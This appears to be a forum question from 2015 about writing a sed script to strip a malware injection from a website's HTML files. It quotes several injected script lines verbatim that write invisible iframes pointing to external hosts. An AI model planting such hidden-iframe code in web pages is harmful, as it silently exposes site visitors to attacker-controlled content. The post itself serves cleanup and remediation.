【发布时间】:2015-05-04 19:56:53
【问题描述】:
我正在帮助某人清理网站上的恶意软件感染,但我很难正确匹配 sed 中的某些字符串,因此我可以创建一个脚本来批量搜索并替换/删除它。
字符串是:
<script>document.write('<style>.vb_style_forum {filter: alpha(opacity=0);opacity: 0.0;width: 200px;height: 150px;}</style><div class="vb_style_forum"><iframe height="150" width="200" src="http://www.iws-leipzig.de/contacts.php"></iframe></div>');</script>
<script>document.write('<style>.vb_style_forum {filter: alpha(opacity=0);opacity: 0.0;width: 200px;height: 150px;}</style><div class="vb_style_forum"><iframe height="150" width="200" src="http://vidintex.com/includes/class.pop.php"></iframe></div>');</script>
<script>document.write('<style>.vb_style_forum {filter: alpha(opacity=0);opacity: 0.0;width: 200px;height: 150px;}</style><div class="vb_style_forum"><iframe height="150" width="200" src="http://www.iws-leipzig.de/contacts.php"></iframe></div>');</script>
我似乎无法弄清楚如何转义这些行中的各种字符...
如果我只想说删除与http://vidintex.com/includes/class.pop.php 匹配的整行,它也会删除.html 文件中的关闭html </body>。
所以我需要能够在 sed 中匹配这一整行:
<script>document.write('<style>.vb_style_forum {filter: alpha(opacity=0);opacity: 0.0;width: 200px;height: 150px;}</style><div class="vb_style_forum"><iframe height="150" width="200" src="http://www.iws-leipzig.de/contacts.php"></iframe></div>');</script>
任何帮助将不胜感激!
【问题讨论】: